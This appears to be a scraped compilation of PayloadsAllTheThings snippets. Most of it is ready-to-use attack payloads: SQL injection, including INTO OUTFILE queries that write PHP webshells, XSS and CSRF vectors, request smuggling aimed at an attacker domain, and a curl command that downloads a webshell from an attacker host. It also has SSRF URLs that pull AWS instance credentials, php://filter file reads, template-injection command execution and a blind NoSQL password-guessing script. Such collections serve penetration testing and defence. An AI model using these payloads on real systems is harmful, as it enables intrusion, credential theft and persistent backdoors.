Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Prototype Pollution/README.md

Initializes a new object instance of the 'Dog' class.

```javascript
var myDog = new Dog();
```

--------------------------------

### Basic Command Execution

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Command Injection/README.md

Illustrates executing a simple command like 'cat /etc/passwd' to display file contents. This is often a first step in exploring a compromised system.

```powershell
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...
```

--------------------------------

### TE.CL Vulnerability - Complex Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Request Smuggling/README.md

A more complex TE.CL example with a smuggled POST request. Requires unchecking 'Update Content-Length' in Burp Repeater and including trailing \r\n\r\n.

```powershell
POST / HTTP/1.1
Host: domain.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
Content-Length: 4
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0



```

--------------------------------

### SQLmap Preprocessing Script Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md

A basic Python script for preprocessing requests in SQLmap. This script will be executed before SQLmap sends a request to the target, allowing for request modification.

```python
#!/usr/bin/env python
def preprocess(req):
    print("Preprocess")
    print(req)
```

--------------------------------

### Encode and Decode JWT with pyjwt

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/JSON Web Token/README.md

Python code using the pyjwt library to encode a payload with a secret and then decode it. Ensure pyjwt is installed (`pip install pyjwt`).

```python
import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
jwt.decode(encoded, 'secret', algorithms=['HS256'])
```

--------------------------------

### JWT Signature Disclosure Example (CVE-2019-7644)

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/JSON Web Token/README.md

These examples show how an incorrect signature in a JWT can lead to the disclosure of the correct signature in error messages. This can be used to bypass signature verification.

```text
Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
```

--------------------------------

### HTML GET Request - Requiring User Interaction

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Cross-Site Request Forgery/README.md

A simple HTML anchor tag used to trick a user into clicking a link, triggering a GET request to a target URL.

```html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
```

--------------------------------

### Start Node.js Inspector with Default and Custom Ports

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Headless Browser/README.md

Commands to start the Node.js inspector, which functions similarly to a remote debugging port. The default port is 9229, but custom ports can be specified.

```powershell
node --inspect app.js # default port 9229
node --inspect=4444 app.js # custom port 4444
node --inspect=0.0.0.0:4444 app.js
```

--------------------------------

### Routed Injection Example 1 (Hex Encoded)

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/README.md

Demonstrates routed SQL injection where the result of one query builds another. This example uses a hex-encoded string for the second query.

```sql
' union select 0x2720756e696f6e2073656c65637420312c3223#
```

--------------------------------

### Leak File Content with ambionics/lightyear

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/Wrappers.md

This example shows how to use the lightyear tool for blind file reads. It involves setting up a remote oracle and then using the tool to dump a specified file, such as /etc/passwd.

```bash
code remote.py # edit Remote.oracle
./lightyear.py test # test that your implementation works
./lightyear.py /etc/passwd # dump a file!
```

--------------------------------

### Alternatives to VERSION function

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MySQL Injection.md

Shows various ways to retrieve the MySQL version using system variables and functions.

```sql
SELECT @@innodb_version;
```

```text
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+
```

```sql
SELECT @@version;
```

```text
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```

```sql
SELECT version();
```

```text
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```

```sql
SELECT @@GLOBAL.VERSION;
```

```text
+------------------+
| @@GLOBAL.VERSION |
+------------------+
| 8.0.27           |
+------------------+
```

--------------------------------

### Final HTTP Request Smuggling Payload Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Account Takeover/README.md

A complete example of a crafted HTTP request for exploiting HTTP Request Smuggling, including necessary headers like Transfer-Encoding and Host.

```powershell
GET /  HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83

0

GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
X: X
```

--------------------------------

### MSSQL Error-Based: String Input Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MSSQL Injection.md

Provides examples for error-based SQL injection targeting string concatenation. These payloads attempt to inject and reveal the @@version string within a string context.

```sql
' + convert(int,@@version) + '
```

```sql
' + cast((SELECT @@version) as int) + '
```

--------------------------------

### Use GitTools to dump and checkout repository

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Git.md

This script helps in dumping a .git repository from a URL to a specified directory. After dumping, it checks out the current state of the repository.

```bash
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
git checkout -- .
```

--------------------------------

### OGNL Basic Injection Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Java.md

Demonstrates basic OGNL expressions for arithmetic operations, string manipulation, and type casting. These can be used to test for OGNL injection vulnerabilities.

```java
7*7
```

```java
'patt'.toString().replace('a', 'x')
```

```java
@java.lang.Integer@valueOf('1')
```

--------------------------------

### MSSQL Error-Based: Integer Input Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MSSQL Injection.md

Demonstrates payloads for error-based SQL injection when integer conversion is expected. These examples use CONVERT and CAST to attempt integer conversion of the @@version string.

```sql
convert(int,@@version)
```

```sql
cast((SELECT @@version) as int)
```

--------------------------------

### DNS localhost CNAME Record Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/DNS Rebinding/README.md

Illustrates using a CNAME record with 'localhost' to bypass filters that block direct DNS responses containing 127.0.0.1. This example shows a CNAME resolving to 'localhost'.

```bash
$ dig www.example.com +noall +answer
; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
;; global options: +cmd
localhost.example.com.            381     IN      CNAME   localhost.
```

--------------------------------

### Apache VirtualHost Configuration

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Virtual Hosts/README.md

Illustrates a basic Apache web server configuration for two different virtual hosts, 'site-a.com' and 'site-b.com', each with its own document root.

```apache
<VirtualHost *:80>
    ServerName site-a.com
    DocumentRoot /var/www/a
</VirtualHost>

<VirtualHost *:80>
    ServerName site-b.com
    DocumentRoot /var/www/b
</VirtualHost>
```

--------------------------------

### Groovy Basic Injection

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Java.md

Demonstrates the basic syntax for variable interpolation in Groovy.

```Groovy
${9*9}
```

--------------------------------

### SSRF Examples for AWS Metadata Disclosure

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Request Forgery/SSRF-Cloud-Instances.md

These examples illustrate real-world SSRF exploitation scenarios leading to AWS metadata disclosure. They show how SSRF vulnerabilities in applications can be leveraged to access sensitive instance information.

```plaintext
https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance
```

```plaintext
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
```

--------------------------------

### HTML GET Request - No User Interaction

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Cross-Site Request Forgery/README.md

An HTML image tag used to trigger a GET request without requiring user interaction, often by exploiting the browser's automatic fetching of image sources.

```html
<img src="http://www.example.com/api/setusername?username=CSRFd">
```

--------------------------------

### Chain OPENQUERY Calls

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MSSQL Injection.md

Demonstrates how to chain multiple OPENQUERY calls to execute queries across several linked servers sequentially. This allows for complex data retrieval or command execution across a chain of servers.

```sql
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
```

--------------------------------

### PHP Loose Comparison Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Type Juggling/README.md

Demonstrates various string and numeric comparisons in PHP using the loose equality operator (==). These examples highlight how PHP's type juggling can lead to unexpected 'true' results.

```php
'0010e2'   == '1e3'
```

```php
'0xABCdef' == ' 0xABCdef'
```

```php
'0xABCdef' == '     0xABCdef'
```

```php
'0x01'     == 1
```

```php
'0x1234Ab' == '1193131'
```

```php
'123'  == 123
```

```php
'123a' == 123
```

```php
'abc'  == 0
```

```php
'' == 0 == false == NULL
```

```php
'' == 0
```

```php
0  == false
```

```php
false == NULL
```

```php
NULL == ''
```

--------------------------------

### List Files and Directories using ERB

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Ruby.md

Shows how to list the contents of the root directory using ERB template injection.

```erb
<%= Dir.entries('/') %>
```

--------------------------------

### Basic Mako Template with OS Command Execution

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Python.md

This snippet demonstrates a basic Mako template that imports the 'os' module and executes the 'id' command, displaying the output.

```python
<%\nimport os\nx=os.popen('id').read()\n%>\n${x}
```

--------------------------------

### Blind NoSQL Injection via GET (Ruby)

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/NoSQL Injection/README.md

This Ruby script uses the httpx library to perform blind NoSQL injection via a GET request. It systematically tries characters to guess a password by checking for a specific string in the response body.

```ruby
require 'httpx'

username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)

while true
  CHARSET.each do |c|
    unless GET_EXCLUDE.include?(c)
      payload = "?username=#{username}&password[$regex]=^#{password + c}"
      res = session.get(url + payload)
      if res.body.to_s.match?('Yeah')
        puts "Found one more char : #{password + c}"
        password += c
      end
    end
  end
end
```

--------------------------------

### Download SVN Configuration File

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Subversion.md

Retrieve a Subversion configuration file (e.g., wp-config.php) from a web server by accessing its .svn/text-base directory. This method is useful for finding sensitive credentials.

```bash
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```

--------------------------------

### Audio Loadstart XSS

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XSS Injection/Intruders/IntrudersXSS.txt

Triggers an alert when an audio element starts loading.

```html
<audio src onloadstart=alert(1)>
```

--------------------------------

### MySQL Webshell via OUTFILE

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MySQL Injection.md

Create a webshell by writing PHP code to a file using the INTO OUTFILE clause. Different termination and content methods are shown.

```sql
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
```

```sql
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
```

```sql
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
```

```sql
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
```

--------------------------------

### Video Source Loadstart XSS

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XSS Injection/Intruders/IntrudersXSS.txt

Triggers an alert when a video starts loading its source.

```html
<video src=_ onloadstart="alert(1)">
```

--------------------------------

### DOM Based XSS Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XSS Injection/README.md

A simple DOM-based XSS payload targeting a sink.

```javascript
"><img src=/ onerror=alert(2)>
```

--------------------------------

### Deploying Web Shell with curl

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Command Injection/README.md

Example of using curl to redirect output to a file, enabling the deployment of a web shell. The '-o' flag writes stdout to a file.

```powershell
# -o, --output <file>        Write to file instead of stdout
curl http://[ATTACKER.DOMAIN.TLD]/ -o webshell.php
```

--------------------------------

### Filename Vulnerability Payloads

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Upload Insecure Files/README.md

Examples of payloads that can be embedded in filenames to exploit various vulnerabilities.

```plaintext
poc.js'(select*from(select(sleep(20)))a)+'extension
```

```plaintext
image.png../../../../../../../etc/passwd
```

```plaintext
'\"><img src=x onerror=alert(document.domain)>.extension
```

```plaintext
../../../tmp/lol.png
```

```plaintext
; sleep 10;
```

--------------------------------

### Get SQLite Version

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLite Injection.md

Use this query to retrieve the version of the SQLite database being used.

```sql
select sqlite_version();
```

--------------------------------

### Configure HTTP Proxy with Credentials for SQLmap

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md

This command demonstrates how to configure SQLmap to use an HTTP proxy with authentication. It specifies the target URL, proxy address, and proxy credentials.

```powershell
sqlmap -u "http://www.target.com/page.php?id=1" --proxy="http://127.0.0.1:8080" --proxy-cred="user:pass"
```

--------------------------------

### PHP://filter Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/Wrappers.md

Demonstrates various uses of the php://filter wrapper for reading and encoding files. These can be chained with compression wrappers for large files or multiple encoding/decoding operations.

```php
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
```

```php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
```

```php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
```

```php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

```php
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

```php
php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s
```

```php
php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
```
Tokens:
Raw